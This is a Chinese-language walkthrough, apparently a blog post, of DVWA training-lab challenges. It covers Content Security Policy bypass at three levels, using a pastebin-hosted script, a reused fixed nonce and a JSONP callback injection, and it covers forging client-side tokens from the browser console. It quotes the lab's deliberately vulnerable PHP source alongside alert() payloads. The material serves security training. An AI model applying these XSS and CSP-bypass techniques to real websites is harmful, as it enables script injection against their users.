$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
1622176111_60b0716f39d7c50b609a9.png!small?1622176112968
$headerCSP = "Content-Security-Policy: script-src ‘self’ https://pastebin.com example.com code.jquery.com ht
此时可以上pastebin网站上自己写一个javascript代码alert(“hahaha”),保存后记住链接,
https://pastebin.com/raw/zSLDySJn
然后在上面界面中输入链接,结果如下
1622176154_60b0719a43b11dcaf3f0f.png!small?1622176156011
在pastebin上保存的js代码被执行了。那就是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在收信任的网站上,然后把链接发送给用户点击,实现注入。
难度(medium)
审计代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
```
```
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
```
http头信息中的script-src的合法来源发生了变化,说明如下 unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。 nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 现在更加简单了,可以直接输入以下代码
```
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(666)</script>
1622176296_60b07228471330097bf14.png!small?1622176297994
```
nonce是设定好的,允许运行
## 难度(high)
审计代码
1622176391_60b072876fa24dee902e3.png!small?1622176393090
1622176412_60b0729c4358f31c529a3.png!small?1622176413833
这个级别已经没有输入框了, 不过题目已经给了足够多的提示. 首先先看一下 CSP 头, 发现只有 script-src 'self';, 看来只允许本界面加载的 javascript 执行. 然后研究了一下这个点击显示答案的逻辑(逻辑在 source/high.js里), 大致如下: 点击按钮 -> js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum), 并把它加入到 DOM 中 -> js 中定义了一个 solveNum 的函数 -> 因此 script 标签会把远程加载的 solveSum({"answer":"15"})当作 js 代码执行, 而这个形式正好就是调用了 solveSum 函数, 然后这个函数就会在界面适当的位置写入答案.
本来嘛, 应该是没办法修改在服务器的 jsonp.php 文件的(除非结合别的漏洞, 拿 shell 后修改). 然而, 我后来在查看服务端源码的时候发现了这个:
1622176450_60b072c23ebc51389aba1.png!small?1622176451871
竟然还偷偷接收 include 参数(不清楚是不是作者复用了之前 Medium 的代码). 总之, 这肯定能作为一个注入点, 我开始打算用简单粗暴的 <script>alert('hacked')</script>来搞定的, 谁知道, 这种是属于 'unsafe-inline' 形式的, 所以被限制执行了. 嗯... 既然如此的话, 那我就利用 src 吧.
1622176473_60b072d9ed6f168bc8b6d.png!small?1622176475523
这个即使你不看源码, 你做几个测试也会发现, 那个 callback 参数可以被操控以生成任何你想要得到的结果, 比如 alert, 因此可以构造 Payload: <script src="source/jsonp.php?callback=alert('hacked');"></script>, 并把这个当做 include 参数传给界面就 注入成功!
## 12 JavaScript
## 难度(low)
如果你改成 “success” 提交一下会出现了这个,Invalid token。这是什么回事呢?
1622176670_60b0739ef392d3a6cfcc4.png!small?1622176672847
你可以打开控制台(F12),看看情况。
1622176697_60b073b941c5bac047eb2.png!small?1622176699202
你会看到这个 token,不是后台生成的,而是前台生成的。。。而前台生成的 token,是用 md5("ChangeMe"),而后台期待的 md5 是 md5("success")。
所以你在输入框中输入 success 之后,还得在控制台在调用 generate_token()函数。
结果如下
1622176723_60b073d3dcd4750557f4d.png!small?1622176728450
## 难度(medium)
思路是一样的,只是生成 token 的函数放到另外的 js 文件中了。
1622176768_60b074008bd821aa0fba4.png!small
如果你打开这个 js 文件 http://192.168.0.110:5678/vulnerabilities/javascript/source/medium.js,你会看到这样
1622176846_60b0744ec3c21e0b99fc3.png!small?1622176848361
所以,在输入框输入 “success” 之后,在控制台中,输入do_elsesomething("XX")就可以了。
1622176905_60b07489d10bb8fa7e13e.png!small?1622176907549
## 难度(high)
高级和中级类似,生成 token 的逻辑在额外的 js 文件中。和中级不同的是,这里的 JS 经过了混淆的。。。就显得很混乱。
http://192.168.0.110:5678/vulnerabilities/javascript/source/high.js
截取其中的一段给大家看看
```
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=
```
这不是正常人类能看懂的。
而 http://deobfuscatejavascript.com中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码
其中关键的部分是这里:
1622176990_60b074dee9b4fa653829b.png!small?1622176992666
这里生成 token 的步骤是:
1、执行token_part_1("ABCD", 44)
2、执行token_part_2("XX")(原本是延迟 300ms执行的那个)
3、点击按钮的时候执行 token_part_3
所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)和token_part_2("XX")这两个函数就可以了。